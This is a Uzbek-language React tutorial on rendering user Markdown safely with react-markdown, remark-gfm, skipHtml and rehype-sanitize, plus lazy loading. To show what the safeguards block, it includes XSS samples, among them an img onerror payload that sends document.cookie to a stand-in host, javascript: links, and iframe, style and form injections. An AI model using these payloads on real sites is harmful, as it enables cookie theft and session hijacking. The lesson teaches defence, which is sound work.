Mundarija (29)
- Bu darsda
- 1. Nega bu kerak?
- 2. react-markdown: matndan React elementlari
- 2.1 Birinchi Markdown
- 2.2 Ichkarida: matn → daraxt → React
- 3. remark-gfm: GitHub uslubidagi Markdown
- 4. components: har tegni o'zingiz chizasiz
- 5. Xavfsizlik: Markdown orqali hujum
- 5.1 Xom HTML: sukut, skipHtml
- 5.2 javascript: havola
- 5.3 Rasm — ko'rinmas tahdid
- 5.4 rehype-raw va rehype-sanitize
- 6. Kech yuklash: Markdown faqat kerak bo'lganda
- 7. Muqobillar: markdown-to-jsx, marked + DOMPurify, MDX
- 8. Vazifalar qadami: vazifa izohi (holat 08)
- 8.1 Nima o'zgaradi
- 8.2 Chizuvchi: IzohKorinishi.tsx
- 8.3 Muharrir: VazifaIzohi.tsx (asosiy qismi)
- 8.4 Saqlash: izoh-holati.ts
- 8.5 Tekshiruv va narx
- 9. Ko'p uchraydigan xatolar
- 10. Mashqlar
- 1-mashq (oson): bo'sh joylarni to'ldiring
- 2-mashq (o'rta): ruxsat etilgan teglar
- 3-mashq (qiyin): Markdown'dan mundarija
- 4-mashq: Vazifalar qadami
- 11. Real ishda
- Xulosa
- Manbalar
Markdown React'da: react-markdown, remark-gfm, xavfsiz render va kech yuklash
Qisqacha: react-markdown Markdown matnni HTML satrga emas, to'g'ridan-to'g'ri React elementlariga aylantiradi. Unda
dangerouslySetInnerHTMLkerak emas, matn ichidagi<script>esa oddiy harflar bo'lib chiqadi. Plagin remark-gfm jadval, vazifa katakchalari vao'chirilgan matnqo'shadi. Propcomponentshar tegni o'z komponentingizga almashtiradi: havola — yangi tabda, rasm — faqat matn. PropskipHtmlxom HTML'ni butunlay tashlaydi. Ilovamizvazifalarda vazifa izohi Markdown'da yoziladi: chizuvchi kech chunk (46.1 KB), birinchi yuklash +0.9 KB, e2e'da XSS vektorlari — 0.
Bu darsda
- react-markdown va remark-gfm bilan Markdown'ni chizasiz.
componentsbilan havola, rasm va katakchalarni o'zingiz boshqarasiz.- Xom HTML,
javascript:havola va rasm orqali hujumlarni tushuntirasiz va to'sasiz. - rehype plaginlari, rehype-sanitize, MDX va markdown-to-jsx qachon kerakligini bilasiz.
vazifalarga Markdown izoh qo'shasiz: kech yuklash, fokus va a11y bilan.
Oldin bilishingiz kerak: Frontend xavfsizligi React'da, XSS va DOM xavfsizligi, lazy va code splitting, Zustand II: middleware, Xaritalar II.
1. Nega bu kerak?
O'tgan darsda xarita, kalit va limitlar bilan ishladik. Endi vazifalar ga qaytamiz. Sardor vazifalarga izoh yozmoqchi: "Bozor: ertalab, ro'yxat — non, sut". Oddiy matn maydoni bor, lekin qalin so'z, ro'yxat yoki havola yo'q.
Markdown — oddiy matnda formatlash belgilari: **qalin**, _kursiv_, - ro'yxat, [havola](manzil). GitHub, Telegram, Notion, ChatGPT javoblari — hammasi shu tilda. Bu kursning darslari ham Markdown'da yozilgan.
Markdown'ni HTML'ga aylantirish oson ko'rinadi: kutubxona HTML satr beradi, uni dangerouslySetInnerHTML ga qo'yasiz. Lekin Frontend xavfsizligi darsini eslang: foydalanuvchi matni + innerHTML = XSS. Va vazifalar da Trusted Types bunday satrni umuman o'tkazmaydi.
Hayotiy o'xshatish: tarjimon. Birinchi yo'l — matnni tarjima qilib, tayyor nutqni boshqa odamga o'qitish: u ichidagi har buyruqni ham bajaradi. Ikkinchi yo'l — tarjimonning o'zi har gapni tekshirib, faqat ruxsat etilganini aytadi. react-markdown — ikkinchi tarjimon.
2. react-markdown: matndan React elementlari
2.1 Birinchi Markdown
Kanon versiyalari: react-markdown 10.1.0, remark-gfm 4.0.1. Natija oynasida ikkalasi ham bor.
npm i -E react-markdown@10.1.0 remark-gfm@4.0.1import Markdown from "react-markdown";
const note = `**Bozor**: _ertalab_ \`8:00\`
- non
- sut
Batafsil: [ro'yxat](https://example.com/royxat)`;
export default function App() {
return <Markdown>{note}</Markdown>;
}Ekranda:
Bozor: ertalab 8:00
non
sut
Batafsil: ro'yxatMarkdown matn children sifatida beriladi. Natija — haqiqiy React elementlari: <p>, <strong>, <em>, <code>, <ul>, <a>. DevTools'da ularni ko'rasiz, lekin hech qayerda innerHTML yo'q.
2.2 Ichkarida: matn → daraxt → React
react-markdown — unified ekotizimining bir qismi. Matn bir necha bosqichda o'zgaradi va har bosqichda plagin qo'shish mumkin:
flowchart LR
M["Markdown matn"] --> R["remark: mdast daraxti"]
R --> RP["remark plaginlari (gfm)"]
RP --> H["hast: HTML daraxti"]
H --> HP["rehype plaginlari"]
HP --> E["React elementlari"]mdast — Markdown'ning AST daraxti. Masalan: "bu yerda ro'yxat, uning ichida 2 band". hast — HTML daraxti. remark plaginlari Markdown bosqichida ishlaydi (yangi sintaksis qo'shadi), rehype plaginlari — HTML bosqichida (teglarni o'zgartiradi, tozalaydi, kodni yoritadi).
Diagrammaning oxirgi o'qiga qarang: daraxt HTML satrga emas, React elementlariga aylanadi. Shu tufayli matndagi <script> hech qachon skript bo'lmaydi — u daraxtda oddiy matn tuguni.
3. remark-gfm: GitHub uslubidagi Markdown
Asl Markdown standarti (CommonMark) da jadval va katakcha yo'q. GFM (GitHub Flavored Markdown) ularni qo'shadi. react-markdown'ga remark-gfm plagini kerak:
import Markdown from "react-markdown";
import remarkGfm from "remark-gfm";
const note = `| Taom | Narx |
| --- | ---: |
| Osh | 35 000 |
| Manti | 30 000 |
- [x] non
- [ ] sut
~~Lag'mon~~ tugadi. Sayt: https://example.com`;
export default function App() {
return <Markdown remarkPlugins={[remarkGfm]}>{note}</Markdown>;
}Ekranda:
Taom Narx
Osh 35 000
Manti 30 000
non
sut
Lag'mon tugadi. Sayt: https://example.comTo'rt yangi narsa: jadval (---: — ustun o'ngga tekislanadi), vazifa katakchalari (- [x]), o'chirilgan matn (~~…~~ → <del>) va avtohavola (https://… o'zi havolaga aylanadi). Plaginsiz - [x] non — oddiy matnli ro'yxat bandi bo'lib qolardi.
Katakchalar disabled — faqat ko'rsatish uchun, bosib bo'lmaydi. Lekin ularning nomi yo'q: ekran o'quvchi "katakcha, belgilangan" deydi, nima belgilangani aytilmaydi. Kanonda axe aynan shuni topdi (keyinroq «Vazifalar qadami» da).
Tekshirib ko'ring: Sardor izohga
2 * 3 * 4 = 24deb yozdi. Ekranda2 3 4 = 24, o'rtadagi3esa kursivda chiqdi. Nega?
Javob
Markdown'da *matn* — kursiv. * 3 * orasidagi qism kursivga aylandi, yulduzchalar esa belgi sifatida "yeyildi". Davosi — teskari chiziq bilan ekranlash: 2 \* 3 \* 4, yoki ifodani kod qilib yozish: `2 * 3 * 4`. Foydalanuvchiga yordam matnida bu haqda ayting — formatlash tilining tabiiy tuzog'i.
4. components: har tegni o'zingiz chizasiz
components prop — teg nomi → o'z komponentingiz xaritasi. react-markdown <a> chizish o'rniga sizning funksiyangizni chaqiradi va unga xususiyatlarni beradi (href, children…):
import { useEffect } from "react";
import Markdown from "react-markdown";
const note = `# Xarid
[Bozor xaritasi](https://example.com/joy) va
`;
const components = {
h1: "h2", // sarlavha darajasini pasaytiramiz
a: ({ href, children }) => (
<a href={href} target="_blank" rel="noopener noreferrer nofollow">
{children}
</a>
),
img: ({ alt }) => <span>[{alt}]</span>,
};
export default function App() {
useEffect(() => {
const a = document.querySelector("a");
console.log(a.target, a.rel);
console.log(document.querySelectorAll("h1, img").length);
}, []);
return <Markdown components={components}>{note}</Markdown>;
}Konsolda:
_blank noopener noreferrer nofollow
0Ekranda:
Xarid
Bozor xaritasi va [chek rasmi]Uchta almashtirish:
h1: "h2"— satr berilsa, boshqa teg bilan chiziladi. Sahifada<h1>bitta bo'lishi kerak (semantik sarlavhalar). Foydalanuvchi izohidagi#sahifa sarlavhasi bilan raqobatlashmasin.a— har havola yangi tabda.rel="noopener noreferrer nofollow": yangi tab sizning sahifangizni boshqara olmaydi, manzil yuborilmaydi va qidiruvchi foydalanuvchi havolasiga "ishonch" bermaydi (spam).img— rasm o'rniga uningaltmatni. Nega? Keyingi bo'limda.
Teskari yo'l ham bor: allowedElements (faqat shu teglar) yoki disallowedElements (shu teglar chiqmasin). Oq ro'yxat — xavfsizroq.
5. Xavfsizlik: Markdown orqali hujum
5.1 Xom HTML: sukut, skipHtml
Markdown ichida HTML yozish mumkin — standart shunday. Hujumchi izohga yozadi:
<img src=x onerror="fetch('//evil.example/?c=' + document.cookie)">react-markdown buni nima qiladi? Sinab ko'ramiz:
import Markdown from "react-markdown";
const note = `Salom <b>qalin</b>
<img src=x onerror="alert(1)">`;
export default function App() {
return (
<>
<Markdown>{note}</Markdown>
<hr />
<Markdown skipHtml>{note}</Markdown>
</>
);
}Ekranda:
Salom <b>qalin</b>
<img src=x onerror="alert(1)">
Salom qalinSukut bo'yicha xom HTML matn bo'lib chiqadi — burchak qavslari bilan, ekranlangan. Hech narsa bajarilmadi. skipHtml bilan teglar umuman tashlandi: <b> ning ichidagi "qalin" so'zi qoldi, <img> qatori — bo'm-bo'sh. Foydalanuvchi uchun bu toza ko'rinadi: kod parchalari ekranga "sochilmaydi".
5.2 javascript: havola
Ikkinchi hujum — havola manzilida skript:
import { useEffect } from "react";
import Markdown from "react-markdown";
const note =
"[Chegirma!](javascript:alert(1)) va [menyu](https://example.com)";
export default function App() {
useEffect(() => {
for (const a of document.querySelectorAll("a")) {
const href = a.getAttribute("href");
console.log(a.textContent, JSON.stringify(href));
}
}, []);
return <Markdown>{note}</Markdown>;
}Konsolda:
Chegirma! ""
menyu "https://example.com"react-markdown'ning urlTransform funksiyasi (sukut — defaultUrlTransform) har manzilni tekshiradi: http, https, mailto va boshqa xavfsiz protokollar o'tadi, javascript: — bo'sh satrga aylanadi. Havola matni qoladi, bosilsa hech narsa bo'lmaydi.
5.3 Rasm — ko'rinmas tahdid
Rasmni ruxsat etsak: . Har kim izohni ochganda brauzer o'sha serverga so'rov yuboradi — IP, vaqt, brauzer. Bu — kuzatish pikseli. Ikkinchi muammo — CSP: vazifalar da img-src 'self', tashqi rasm buzilish beradi. Shuning uchun kanon rasmni [alt] matniga almashtirdi (yuqoridagi components.img).
5.4 rehype-raw va rehype-sanitize
Ba'zan HTML haqiqatan kerak — masalan, CMS'dan kelgan maqolada details tegi yoki <kbd>. Buning uchun rehype-raw plagini xom HTML'ni daraxtga "ochadi". Lekin u faqat ishonchli manba uchun. Biz react-markdown 10.1.0, rehype-raw 7.0.0 va rehype-sanitize 6.0.0 ni Node 24 da renderToStaticMarkup bilan sinadik. Kirish — beshta hujum:
<a href="javascript:alert(1)">bos</a> <iframe src="https://example.com"></iframe>
<style>body{display:none}</style> <form action="https://example.com"><button>Yubor</button></form>
<img src=x onerror="alert(1)">Faqat rehype-raw bilan chiqish (qisqartirilgan):
<a href="">bos</a> <iframe src="https://example.com"></iframe> <style>body{display:none}</style>
<form action="https://example.com"><button>Yubor</button></form> <img src="x"/>javascript: va onerror tushib qoldi, lekin uchtasi o'tdi. <iframe> — begona sayt sahifangiz ichida. <style>body{display:none}</style> — butun sahifani yashiradi. <form> — "Yubor" tugmasi ma'lumotni hujumchi serveriga jo'natadi (fishing).
rehype-raw + rehype-sanitize bilan:
<a>bos</a> body{display:none} Yubor <img src="x"/>iframe, style, form, button teglari olib tashlandi — ichidagi matn qoldi. Havola manzilsiz. Sanitize sukut sxemasi (GitHub qoidalariga asoslangan) 53 ta tegga ruxsat beradi, havola protokollari — http, https, irc, ircs, mailto, xmpp.
Kod — sanitize har doim raw'dan keyin:
import rehypeRaw from "rehype-raw";
import rehypeSanitize from "rehype-sanitize";
<Markdown rehypePlugins={[rehypeRaw, rehypeSanitize]}>
{article}
</Markdown>;Qoida oddiy: foydalanuvchi matni → skipHtml (yoki sukut). Ishonchli kontent, HTML kerak → rehype-raw + rehype-sanitize. Faqat rehype-raw — hech qachon foydalanuvchi matni bilan.
Tekshirib ko'ring: Hamkasbingiz aytdi: "React matnni ekranlaydi, shuning uchun react-markdown bilan har qanday plagin xavfsiz". To'g'rimi?
Javob
Yo'q. React matn tugunlarini ekranlaydi, lekin rehype-raw HTML'ni haqiqiy elementlarga aylantiradi — <iframe>, <form>, <style> endi matn emas, React ularni oddiy teg kabi chizadi. Sinovimizda aynan shular o'tdi. Xavfsizlik plaginlar tartibiga bog'liq: raw dan keyin sanitize, yoki raw umuman yo'q.
6. Kech yuklash: Markdown faqat kerak bo'lganda
react-markdown + remark-gfm — og'ir. Kanon tajribasida (faqat React'dan ortig'i) react-markdown — +45.1 KB gzip. vazifalar da izoh chunk'i 46.1 KB. Bu birinchi yuklashning beshdan biriga yaqin, izoh esa hamma vazifada ham yo'q.
Yechim — chizuvchini lazy bilan alohida chunk qilish. U kelguncha — xom matn. Natija oynasida dinamik import() yo'q, shuning uchun kechikishni Promise bilan taqlid qilamiz:
import { lazy, Suspense } from "react";
import Markdown from "react-markdown";
// haqiqiy loyihada: lazy(() => import("./NoteView.jsx"))
const NoteView = lazy(
() =>
new Promise((resolve) =>
setTimeout(
() =>
resolve({
default: ({ text }) => <Markdown>{text}</Markdown>,
}),
300,
),
),
);
const text = "**Bozor**: _ertalab_";
export default function App() {
return (
<section>
<h3>Izoh</h3>
<Suspense fallback={<p className="raw">{text}</p>}>
<NoteView text={text} />
</Suspense>
</section>
);
}Ekranda:
Izoh
Bozor: ertalabAvval (ekran qadami tekshirdi) — **Bozor**: _ertalab_ xom ko'rinishda, 300 ms dan keyin — formatlangan. Fallback sifatida spinner emas, xom matn: o'quvchi kutmasdan o'qiydi, sahifa ham sakramaydi — matn uzunligi deyarli bir xil. Kanonda white-space: pre-wrap bilan qator ko'chishlari ham saqlanadi.
7. Muqobillar: markdown-to-jsx, marked + DOMPurify, MDX
Kanon uchta Markdown kutubxonasini bir xil xavfli matn bilan, vazifalar CSP'si va Trusted Types ostida o'lchadi (kutubxonalar-21.txt):
| Kutubxona | JS (React'dan tashqari) | CSP / TT | XSS elementi |
|---|---|---|---|
| react-markdown + remark-gfm | +45.1 KB | 0 | yo'q |
| markdown-to-jsx 9.10.3 | +27.7 KB | 0 | yo'q |
| marked 18.1.0 + DOMPurify 3.4.16 | +23.4 KB | 5 buzilish | — (chizilmadi) |
- markdown-to-jsx — yengilroq, bitta paket, ham React elementlari beradi. Plagin ekotizimi (remark/rehype) yo'q. GFM'ning ko'p qismi ichida.
- marked + DOMPurify — eng kichik, lekin HTML satr beradi va
dangerouslySetInnerHTMLtalab qiladi.vazifalarda ikki joyda yiqildi: DOMPurify o'ziningdompurifynomli TT siyosatini yaratmoqchi bo'ldi (trusted-types vazifalarruxsat bermaydi), keyininnerHTML— TrustedHTML talabi. Bu juftlik Trusted Types'siz loyihalarda, server tomonida (masalan, Node'da HTML yasashda) qulay. - MDX (
@mdx-js/mdx,@mdx-js/react) — Markdown ichida JSX:<Chart data={…} />. MDX kompilyatsiya qilinadi — u kod, matn emas. Hujjatlar sayti, blog, kurs darslari uchun. Foydalanuvchi kiritgan matnni hech qachon MDX qilib bajarmang — bu unga sizning sahifangizda istalgan JS yozishga ruxsat berish. MDX'ni Next.js qismida ishlatamiz.
8. Vazifalar qadami: vazifa izohi (holat 08)
8.1 Nima o'zgaradi
git switch -c feat/izoh-markdown
npm i -E react-markdown@10.1.0 remark-gfm@4.0.1Yangi papka src/xususiyatlar/izoh/ (xususiyat papkalari):
| Fayl | Vazifasi |
|---|---|
izoh-holati.ts |
Zustand store, persist — localStorage ("vazifalar:izohlar"), ≤ 2000 belgi |
VazifaIzohi.tsx |
vazifa sahifasidagi bo'lim: ko'rinish yoki <textarea> |
IzohKorinishi.tsx |
Markdown chizuvchi — kech chunk |
index.ts |
ochiq API: faqat VazifaIzohi |
Va vazifa sahifasiga ikki qator (kanon):
+import { VazifaIzohi } from "../xususiyatlar/izoh/index.ts";
...
+ {/* 21/#08: izoh (Markdown) — shu brauzerda */}
+ <VazifaIzohi id={vazifa.id} />8.2 Chizuvchi: IzohKorinishi.tsx
Kanon fayli — kod aynan. Bosh izohdagi ~ +NN KB qatori kanonda to'ldirilmay qolgan — biz uni o'lchangan raqam bilan almashtirdik (izoh qatori, kod emas):
// IzohKorinishi.tsx — izoh Markdown'dan React elementlariga (21/#08).
// Alohida chunk (VazifaIzohi'da lazy): react-markdown + remark-gfm
// ~46 KB gzip — faqat izohi bor vazifa sahifasida yuklanadi.
// XAVFSIZLIK: react-markdown HTML satr yasamaydi (dangerouslySetInnerHTML
// yo'q — Trusted Types siyosati o'zgarmaydi). Qo'shimcha:
// - skipHtml: Markdown ichidagi xom HTML (<img onerror=…>, <script>)
// umuman chizilmaydi (matn sifatida ham)
// - urlTransform (standart): javascript:, data: … havolalar bo'shatiladi
// - rasm yo'q: tashqi rasm — kuzatish pikseli va CSP (img-src 'self')
// buzilishi; o'rnida alt matni ([rasm]) qoladi
// - havolalar yangi tabda, rel="noopener noreferrer nofollow"
import Markdown from "react-markdown";
import type { Components } from "react-markdown";
import remarkGfm from "remark-gfm";
const KOMPONENTLAR: Components = {
// GFM "- [x] …" — o'qish uchun katak (o'zgarmaydi): axe "label" (21/#08
// a11y o'lchovi topdi) — nomsiz katak; holati nomda
input: ({ type, checked }) =>
type === "checkbox" ? (
<input
type="checkbox"
checked={checked ?? false}
disabled
aria-label={checked ? "bajarilgan" : "bajarilmagan"}
/>
) : null,
img: ({ alt }) => <span className="izoh-rasm">[{alt}]</span>,
a: ({ href, children }) => (
<a href={href} target="_blank" rel="noopener noreferrer nofollow">
{children}
</a>
),
};
export default function IzohKorinishi({ matn }: { matn: string }) {
return (
<div className="izoh-matni">
<Markdown
remarkPlugins={[remarkGfm]}
skipHtml
components={KOMPONENTLAR}
>
{matn}
</Markdown>
</div>
);
}Endi uni e2e ssenariydagi hujumli matn bilan ishga tushiramiz (kanon e2e-21.mjs dagi MATN — window.__xss ni alert ga almashtirdik):
import { useEffect } from "react";
const MATN = [
"**Bozor**: _ertalab_ `8:00`",
"",
"- [x] non",
"- [ ] sut",
"",
"[Xarita](https://example.com/joy) [yomon](javascript:alert(1))",
"",
"",
'<img src=x onerror="alert(1)"> <script>alert(2)</script>',
].join("\n");
export default function Sinov() {
useEffect(() => {
const m = document.querySelector(".izoh-matni")!;
const boxes = [...m.querySelectorAll("input")];
console.log(boxes.map((b) => b.getAttribute("aria-label")));
console.log(m.querySelectorAll("img, script").length);
const href = m.querySelectorAll("a")[1].getAttribute("href");
console.log(JSON.stringify(href));
}, []);
return <IzohKorinishi matn={MATN} />;
}Konsolda:
(2) ['bajarilgan', 'bajarilmagan']
0
""Ekranda:
Bozor: ertalab 8:00
non
sut
Xarita yomon [rasm]
alert(2)Uchinchi qator — yomon havolasining href i: bo'sh satr (JSON.stringify qo'shtirnoqlarni ko'rsatish uchun). Rasm — [rasm], <img> va <script> elementlari — 0. Oxirgi qatorga qarang: alert(2) — matn. skipHtml teglarni tashladi (<script> va </script> alohida), ular orasidagi so'z esa oddiy matn bo'lib qoldi. U hech qachon bajarilmaydi — xuddi «Xom HTML» bo'limidagi "qalin" so'zi kabi. Bu qoldiq matnni biz shu blokda topdik; kanon e2e'si uni tekshirmaydi — u faqat kod ishlamaganini va <script> elementi yo'qligini tasdiqlaydi. Katakchalar endi nomli: Malika "bajarilgan, katakcha" ni eshitadi.
8.3 Muharrir: VazifaIzohi.tsx (asosiy qismi)
To'liq fayl kanonda. Muhim qatorlar:
const IzohKorinishi = lazy(() => import("./IzohKorinishi.tsx"));
// Forma yopiladi — fokus u bilan yo'qolardi (<body> ga; e2e topdi).
// flushSync: tugma DOM'ga qaytgach darhol unga fokus
function yop() {
flushSync(() => setTahrir(null));
tahrirTugmasi.current?.focus();
}
...
// Kelguncha — xom matn (bo'sh joy saqlanadi): sakrash kam
<Suspense fallback={<p className="izoh-xom">{izoh}</p>}>
<IzohKorinishi matn={izoh} />
</Suspense>
...
<textarea
id="izoh-matn"
rows={6}
maxLength={IZOH_MAKS}
value={tahrir}
aria-describedby="izoh-yordam"
autoFocus
onChange={(event) => setTahrir(event.target.value)}
onKeyDown={(event) => {
if (event.key === "Escape") {
yop();
}
}}
/>
<small id="izoh-yordam">
**qalin**, _kursiv_, `kod`, - ro'yxat, - [ ] vazifa,
[havola](https://…). HTML va rasm ko'rsatilmaydi.
</small>Uch qaror:
- Tahrir — oddiy
<textarea>, rich text muharrir emas. Keyingi ikki darsda Tiptap va Lexical'ni o'lchaymiz — bitta maydon uchun ular ortiqcha bo'lib chiqdi. - Fokus. Forma yopilganda "Izohni tahrirlash" tugmasi qayta paydo bo'ladi. Oddiy
setTahrir(null)dan keyinfocus()— tugma hali DOM'da yo'q. e2e buni topdi: fokus<body>ga tushardi. flushSync React'ni darhol chizishga majbur qiladi — keyingi qatorda tugma bor. - Yordam matni
aria-describedbybilan bog'langan: ekran o'quvchi maydonga kirganda "HTML va rasm ko'rsatilmaydi" ni ham o'qiydi.
8.4 Saqlash: izoh-holati.ts
export const IZOH_MAKS = 2000;
const IZOHLAR_KALITI = "vazifalar:izohlar";
...
izohniYoz: (id, matn) =>
set((h) => {
const qolgan = Object.fromEntries(
Object.entries(h.izohlar).filter(([k]) => k !== String(id)),
);
const toza = matn.trim().slice(0, IZOH_MAKS);
return {
izohlar: toza === "" ? qolgan : { ...qolgan, [id]: toza },
};
}),
...
// Boshqa tabda izoh o'zgardi — qayta o'qiymiz (sozlamalar kabi, 19/#22)
addEventListener("storage", (event) => {
if (event.key === IZOHLAR_KALITI) {
void useIzohlar.persist.rehydrate();
}
});Izoh — faqat shu brauzerda. Sabab kanon fayli izohida: «Bahor» mashq API'si faqat matn, bajarildi va teglar maydonlarini qabul qiladi. Bo'sh izoh — o'chirish. Uzunlik ikki joyda cheklangan: maxLength (forma) va slice (store — boshqa yo'l bilan kelgan matn uchun ham). Boshqa tabdagi o'zgarish storage hodisasi bilan keladi (Zustand II).
Bu cheklov TEXNIK-QARZ.md da 63-band: izoh eksportga kirmaydi, vazifa o'chirilsa izoh qoladi; yechim — 25-qismda o'z backend'imizda izoh maydoni.
8.5 Tekshiruv va narx
Haqiqiy natijalar (holat 08, tekshiruv-08.txt, natija-21-08.txt):
npm test— node:test 221, Vitest 65;lint,format:check,tip,knip—exit 0.- Birinchi yuklash JS 219.6 → 220.5 KB gzip (+0.9: forma va store), CSS 4.8 → 4.9.
- Kech chunk
IzohKorinishi— 46.1 KB gzip, faqat izohi bor vazifada. - axe — 0 buzilish, yangi ko'rinish "vazifa sahifasi (izoh, Markdown)" — 40 qoida o'tdi.
- e2e-21 — 31 ta, izohga oidlari (xom chiqishdan):
✅ izoh yo'q: matn, tugma; Markdown chunk yuklanmagan: ["Izoh Izoh yo'q. Izoh qo'shish",false]
✅ Markdown: qalin, kursiv, kod, ro'yxat, 2 belgi katak: [1,1,1,1,2]
✅ havolalar: yangi tab + rel; javascript: — manzilsiz: [["Xarita","https://example.com/joy","_blank","noopener noreferrer nofollow"],["yomon","","_blank","noopener noreferrer nofollow"]]
✅ XSS: img/script yo'q, on* atribut yo'q, kod ishlamadi; rasm o'rnida matni: [[0,0,0],true]
✅ saqlangach fokus «Izohni tahrirlash» da, chunk yuklandi: ["izoh-tahrirla",true]
✅ izoh: CSP buzilishi yo'q: []Birinchi qatorga qarang: izohi yo'q vazifada Markdown chunk yuklanmagan (false). To'rtinchi qator — XSS: <img>, <script>, on* atributlar — 0, window.__xss o'rnatilmagan.
git add -A
git commitCommit (kanon): feat: vazifa izohi — Markdown (react-markdown, skipHtml), shu brauzerda.
9. Ko'p uchraydigan xatolar
| Belgi | Sabab | Davosi |
|---|---|---|
jadval va - [x] oddiy matn bo'lib chiqdi |
remark-gfm ulanmagan | remarkPlugins={[remarkGfm]} |
izohdagi # sahifa sarlavhasidan katta |
h1 o'zgarmagan |
components={{ h1: "h2" }} |
| havola o'z sahifangiz o'rnida ochiladi | sukut <a> |
components.a + target, rel |
| tashqi rasm — CSP buzilishi | img-src 'self' |
img → [alt] yoki ruxsat ro'yxati |
<iframe>, <style> sahifada paydo bo'ldi |
rehype-raw sanitize'siz | rehypeSanitize raw'dan keyin |
dangerouslySetInnerHTML + marked — TT xatosi |
HTML satr | react-markdown yoki TT siyosati |
fokus <body> ga tushadi |
element hali chizilmagan | flushSync + ref |
| katakcha nomsiz (axe "label") | GFM <input> |
components.input + aria-label |
2 * 3 * 4 da kursiv |
* — formatlash belgisi |
\* yoki `kod` |
10. Mashqlar
Mashqlar kurs/mashqlar/21/08-markdown/ da. Jonli yechimlarni «Ishga tushir» bilan sinang.
1-mashq (oson): bo'sh joylarni to'ldiring
- Jadval va katakchalar uchun plagin:
- Xom HTML'ni butunlay tashlaydigan prop:
- Har tegni o'z komponentingizga almashtiruvchi prop:
- Xom HTML'ni yoqadigan plagindan keyin albatta:
- Foydalanuvchi matni uchun hech qachon ishlatilmaydigan format:
Yechim
- remark-gfm — GFM: jadval,
- [x],~~…~~, avtohavola. - skipHtml — teglar matn sifatida ham chiqmaydi.
- components —
{ a: …, img: …, h1: "h2" }. - rehype-sanitize —
rehype-rawdan keyin, oq ro'yxat bilan tozalaydi. - MDX — kompilyatsiya qilinadigan kod; foydalanuvchiga JS yozish huquqini beradi.
2-mashq (o'rta): ruxsat etilgan teglar
Kommentariya formasi uchun Markdown: faqat paragraf, qalin, kursiv, kod va havola. Ro'yxat, sarlavha, jadval — o'z mazmunini saqlagan holda oddiy matnga aylansin. Sinov matni: # Zo'r! va - **osh** — _issiq_.
Ishora: allowedElements va unwrapDisallowed (ruxsatsiz teg tashlanadi, ichi qoladi).
Yechim
import Markdown from "react-markdown";
const comment = `# Zo'r!
- **osh** — _issiq_`;
export default function App() {
return (
<Markdown
allowedElements={["p", "strong", "em", "code", "a"]}
unwrapDisallowed
>
{comment}
</Markdown>
);
}Ekranda:
Zo'r! osh — issiqh1, ul va li ruxsat ro'yxatida yo'q — unwrapDisallowed ularni tashladi, ichidagi matn va ruxsat etilgan strong, em qoldi. Blok teglar yo'qolgani uchun ikkala qator bitta qatorga qo'shilib ketdi — izoh uchun bu normal. unwrapDisallowed siz sarlavha va ro'yxat butunlay yo'qolardi — foydalanuvchi yozganining yarmini ko'rmasdi.
3-mashq (qiyin): Markdown'dan mundarija
Uzun izohlar uchun mundarija: ## bilan boshlangan sarlavhalardan havolalar ro'yxati. components.h2 da har sarlavhaga id bering (slug: kichik harf, bo'shliq → -), tepada esa o'sha id larga havolalar.
Ishora: sarlavhalarni matndan muntazam ifoda bilan oling: /^## (.+)$/gm. children — oddiy satr deb hisoblang.
Yechim
import Markdown from "react-markdown";
const note = `## Bozor ro'yxati
non, sut
## Uy ishlari
kir yuvish`;
const slug = (s) => s.toLowerCase().replace(/[^a-z0-9']+/g, "-");
const titles = [...note.matchAll(/^## (.+)$/gm)].map((m) => m[1]);
export default function App() {
return (
<article>
<nav aria-label="Mundarija">
{titles.map((t) => (
<a key={t} href={`#${slug(t)}`}>
{t}{" "}
</a>
))}
</nav>
<Markdown
components={{
h2: ({ children }) => (
<h2 id={slug(String(children))}>{children}</h2>
),
}}
>
{note}
</Markdown>
</article>
);
}Ekranda:
Bozor ro'yxati Uy ishlari
Bozor ro'yxati
non, sut
Uy ishlari
kir yuvishHavolalar #bozor-ro'yxati va #uy-ishlari ga, sarlavhalarda aynan shu id. Ikki joyda bir xil slug funksiyasi ishlatilgani uchun ular mos keladi. Haqiqiy loyihada bu ishni rehype-slug plagini qiladi (lotin bo'lmagan harflar va takror sarlavhalar bilan ham).
4-mashq: Vazifalar qadami
feat/izoh-markdown branch'ida «Vazifalar qadami» dagi o'zgarishlarni qiling: xususiyatlar/izoh/ (to'rt fayl), vazifa sahifasiga VazifaIzohi, asos.css ga izoh stillari. Keyin e2e'dagi hujumli matnni izohga qo'yib, o'zingiz tekshiring.
Yechim
Tekshiruv ro'yxati:
npm test— node 221, Vitest 65;npm run tip,lint,knip— toza.- Izohsiz vazifa: DevTools Network'da
IzohKorinishi-*.jsyuklanmaydi; izoh qo'shilgach — yuklanadi. - Hujumli matn:
<img>,<script>yo'q,javascript:havolasininghrefi bo'sh, rasm o'rnida[rasm]. - Klaviatura: "Izoh qo'shish" → maydonda fokus → Esc → fokus tugmaga qaytadi.
npm run build: birinchi yuklash ~220.5 KB,IzohKorinishi~46 KB gzip.
11. Real ishda
- Kommentariya, chat, forum — foydalanuvchi Markdown yozadi, sayt xavfsiz chizadi. GitHub, Discourse, Telegram — shu g'oya.
- AI chat javoblari — model Markdown qaytaradi; AI chat darsida
vazifalardagi yordamchi xuddi shu chizuvchini ishlatadi. - Hujjat va blog saytlari — MDX, build vaqtida; kod bloklari yoritiladi (keyingi dars).
- CMS — muharrir HTML yoki Markdown saqlaydi; ko'rsatishda — sanitize.
- Intervyu savollari: "Markdown'ni React'da qanday xavfsiz chizasiz?", "rehype-raw nega xavfli?", "
javascript:havolani qanday to'sasiz?", "og'ir kutubxonani faqat kerak bo'lganda qanday yuklaysiz?".
Xulosa
- react-markdown — matn → mdast → hast → React elementlari;
innerHTMLyo'q, Trusted Types bilan mos. - remark-gfm — jadval, katakcha,
~~…~~, avtohavola; katakchaga nom bering. components— teglarni almashtirish (h1: "h2", havolagarel, rasm →[alt]);allowedElements— oq ro'yxat.- Foydalanuvchi matni: sukut yoki
skipHtml;urlTransformjavascript:ni bo'shatadi. HTML kerak bo'lsa —rehype-raw+rehype-sanitize, hech qachon yolg'iz raw. - marked + DOMPurify — satr va
innerHTML(TT'da yiqildi); MDX — kod, foydalanuvchi matni uchun emas. vazifalar: izoh — lazy chunk 46.1 KB, fallback — xom matn, fokusflushSyncbilan, saqlash — shu brauzerda (TEXNIK-QARZ 63).
Keyingi dars: Kod bloklari va sintaksis yoritish — Markdown'dagi ``` bloklarini Prism va Shiki bilan rangli qilamiz, nusxalash tugmasi va qator raqamlarini qo'shamiz.
Manbalar
